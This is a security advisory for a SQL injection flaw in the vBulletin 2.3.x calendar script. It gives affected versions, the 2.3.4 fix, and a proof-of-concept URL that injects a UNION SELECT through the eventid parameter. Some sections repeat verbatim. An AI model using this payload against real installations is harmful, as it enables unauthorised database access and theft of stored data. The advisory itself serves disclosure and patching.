vBulletin Calendar Script SQL Injection Vulnerability
BID:9360
Info
vBulletin Calendar Script SQL Injection Vulnerability
| Bugtraq ID: | 9360 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0036 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 05 2004 12:00AM |
| Updated: | Jun 21 2006 08:55PM |
| Credit: | Discovery is credit to mslug. |
| Vulnerable: |
VBulletin VBulletin 2.3.3 VBulletin VBulletin 2.3.2 VBulletin VBulletin 2.3 .0 |
| Not Vulnerable: |
VBulletin VBulletin 2.3.4 |
Discussion
vBulletin Calendar Script SQL Injection Vulnerability
vBulletin is prone to an SQL-injection vulnerability. As a result, remote attackers may influence the logic and structure of database queries made by the software. Attackers could potentially exploit this issue to compromise the bulletin-board installation, access sensitive information from within the database, or even to launch attacks against the database implementation.
vBulletin is prone to an SQL-injection vulnerability. As a result, remote attackers may influence the logic and structure of database queries made by the software. Attackers could potentially exploit this issue to compromise the bulletin-board installation, access sensitive information from within the database, or even to launch attacks against the database implementation.
Exploit / POC
vBulletin Calendar Script SQL Injection Vulnerability
The following example was provided:
http://www.example.com/[software_installation_path]/calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate
(Note that the underlying database must support the UNION command for this example to work.)
The following example was provided:
http://www.example.com/[software_installation_path]/calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate
(Note that the underlying database must support the UNION command for this example to work.)
Solution / Fix
vBulletin Calendar Script SQL Injection Vulnerability
Solution:
Reportedly, vBulletin version 2.3.4 is not vulnerable to this issue. Users are advised to obtain the immune version from the vendor.
VBulletin VBulletin 2.3 .0
VBulletin VBulletin 2.3.2
VBulletin VBulletin 2.3.3
Solution:
Reportedly, vBulletin version 2.3.4 is not vulnerable to this issue. Users are advised to obtain the immune version from the vendor.
VBulletin VBulletin 2.3 .0
-
VBulletin 2.3.4
http://www.vbulletin.com/download/
VBulletin VBulletin 2.3.2
-
VBulletin 2.3.4
http://www.vbulletin.com/download/
VBulletin VBulletin 2.3.3
-
VBulletin 2.3.4
http://www.vbulletin.com/download/
References
vBulletin Calendar Script SQL Injection Vulnerability
References:
References: